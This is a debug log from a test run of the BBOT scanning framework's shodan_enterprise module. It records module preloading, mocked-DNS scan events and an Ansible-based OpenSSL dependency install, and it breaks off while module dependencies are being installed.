19:09:05,716 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 19:09:05,717 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:09:05,718 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:09:05,719 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 19:09:05,724 [DEBUG] bbot.core.helpers.dns dns.py:190 Skipping wildcard detection on blacklanternsecurity.com because blacklanternsecurity.com is excluded in the config -2026-02-27 19:09:05,724 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'unresolved', 'target', 'domain'}) -2026-02-27 19:09:05,725 [DEBUG] bbot.modules._scan_egress base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'unresolved', 'target', 'domain'}) passed post-check -2026-02-27 19:09:05,725 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'unresolved', 'target', 'domain'}) -2026-02-27 19:09:05,725 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'unresolved', 'target', 'domain'}) -2026-02-27 19:09:05,727 [DEBUG] bbot.modules.output.python base.py:1563 Queueing DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'unresolved', 'target', 'domain'}) because precheck succeeded -2026-02-27 19:09:05,808 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 19:09:05,808 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 19:09:05,809 [DEBUG] bbot.modules.output.python base.py:1563 Got DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'unresolved', 'target', 'domain'}) from TARGET -2026-02-27 19:09:05,809 [DEBUG] bbot.modules.output.python base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'unresolved', 'target', 'domain'}) passed post-check -2026-02-27 19:09:05,809 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 19:09:05,809 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-02-27 19:09:05,810 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 19:09:05,810 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 19:09:05,810 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 19:09:05,811 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 19:09:05,812 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-02-27 19:09:05,812 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 19:09:05,912 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 19:09:05,912 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 19:09:05,926 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 19:09:05,927 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 19:09:05,927 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 19:09:05,933 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 19:09:05,934 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 19:09:05,934 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 19:09:05,935 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 19:09:05,936 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 19:09:05,937 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 19:09:06,061 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_2aodaljnjz completed in 0 seconds with status FINISHED -2026-02-27 19:09:06,061 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 19:09:06,062 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 19:09:06,063 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:09:06,064 [CRITICAL] bbot test_module_shodan_enterprise.py:19 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'unresolved', 'target', 'domain'}) -2026-02-27 19:09:06,064 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:09:06,065 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-02-27 19:09:06,065 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-02-27 19:10:07,576 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 19:10:07,589 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 19:10:07,590 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 19:10:07,591 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 19:10:07,592 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 19:10:07,593 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 19:10:07,595 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 19:10:07,596 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 19:10:07,600 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 19:10:07,601 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 19:10:07,603 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 19:10:07,604 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 19:10:07,606 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 19:10:07,606 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 19:10:07,608 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 19:10:07,609 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 19:10:07,610 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 19:10:07,610 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 19:10:07,611 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 19:10:07,611 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 19:10:07,612 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 19:10:07,613 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 19:10:07,614 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 19:10:07,616 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 19:10:07,616 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 19:10:07,617 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 19:10:07,618 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 19:10:07,619 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 19:10:07,620 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 19:10:07,621 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 19:10:07,622 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 19:10:07,622 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 19:10:07,623 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 19:10:07,624 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 19:10:07,625 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 19:10:07,625 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 19:10:07,626 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 19:10:07,627 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 19:10:07,627 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 19:10:07,628 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 19:10:07,629 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 19:10:07,629 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 19:10:07,630 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 19:10:07,631 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 19:10:07,632 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 19:10:07,633 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 19:10:07,633 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 19:10:07,634 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 19:10:07,634 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 19:10:07,635 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 19:10:07,636 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 19:10:07,636 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 19:10:07,636 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 19:10:07,637 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 19:10:07,638 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 19:10:07,639 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 19:10:07,640 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 19:10:07,641 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 19:10:07,642 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 19:10:07,642 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 19:10:07,643 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 19:10:07,643 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 19:10:07,644 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 19:10:07,644 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 19:10:07,645 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 19:10:07,645 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 19:10:07,649 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 19:10:07,650 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 19:10:07,651 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 19:10:07,652 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 19:10:07,653 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 19:10:07,654 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 19:10:07,654 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 19:10:07,655 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 19:10:07,656 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 19:10:07,656 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 19:10:07,657 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 19:10:07,658 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 19:10:07,658 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 19:10:07,659 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 19:10:07,660 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 19:10:07,661 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 19:10:07,661 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 19:10:07,662 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 19:10:07,662 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 19:10:07,663 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 19:10:07,664 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 19:10:07,664 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 19:10:07,665 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 19:10:07,666 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 19:10:07,666 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 19:10:07,667 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 19:10:07,672 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 19:10:07,673 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 19:10:07,674 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 19:10:07,675 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 19:10:07,676 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 19:10:07,677 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 19:10:07,677 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 19:10:07,678 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 19:10:07,678 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 19:10:07,679 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 19:10:07,680 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 19:10:07,681 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 19:10:07,682 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 19:10:07,683 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 19:10:07,684 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 19:10:07,685 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 19:10:07,685 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 19:10:07,686 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 19:10:07,686 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 19:10:07,687 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 19:10:07,687 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 19:10:07,688 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 19:10:07,688 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 19:10:07,689 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 19:10:07,690 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 19:10:07,690 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 19:10:07,691 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 19:10:07,692 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 19:10:07,693 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 19:10:07,693 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 19:10:07,694 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 19:10:07,695 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 19:10:07,695 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 19:10:07,696 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 19:10:07,696 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 19:10:07,697 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 19:10:07,697 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 19:10:07,698 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 19:10:07,698 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 19:10:07,699 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 19:10:07,700 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 19:10:07,700 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 19:10:07,701 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 19:10:07,701 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 19:10:07,702 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 19:10:07,702 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 19:10:07,703 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 19:10:07,704 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 19:10:07,705 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 19:10:07,705 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 19:10:07,706 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 19:10:07,707 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 19:10:07,708 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 19:10:07,709 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 19:10:07,709 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 19:10:07,710 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 19:10:07,710 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 19:10:07,711 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 19:10:07,712 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 19:10:07,712 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 19:10:07,713 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 19:10:07,713 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 19:10:07,714 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 19:10:07,715 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 19:10:07,716 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 19:10:07,716 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 19:10:07,717 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 19:10:07,717 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 19:10:07,718 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 19:10:07,718 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 19:10:07,719 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 19:10:07,720 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 19:10:07,720 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 19:10:07,721 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 19:10:07,721 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 19:10:07,722 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 19:10:07,723 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 19:10:07,723 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 19:10:09,126 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 19:10:09,126 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 19:10:09,127 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 19:10:09,267 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 19:10:09,848 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 19:10:09,848 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 19:10:09,848 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 19:10:09,849 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 19:10:10,072 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 19:10:10,075 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 19:10:10,192 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 19:10:10,192 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 19:10:10,250 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 19:10:10,254 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 19:10:10,255 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 19:10:10,958 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 19:10:10,959 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 19:10:13,896 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 19:10:13,897 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 19:10:13,897 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 19:10:15,979 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 19:10:15,980 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 19:10:15,985 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:10:15,985 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 19:10:15,986 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:10:15,986 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 19:10:15,987 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:10:15,987 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 19:10:15,987 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:10:15,988 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 19:10:15,988 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies 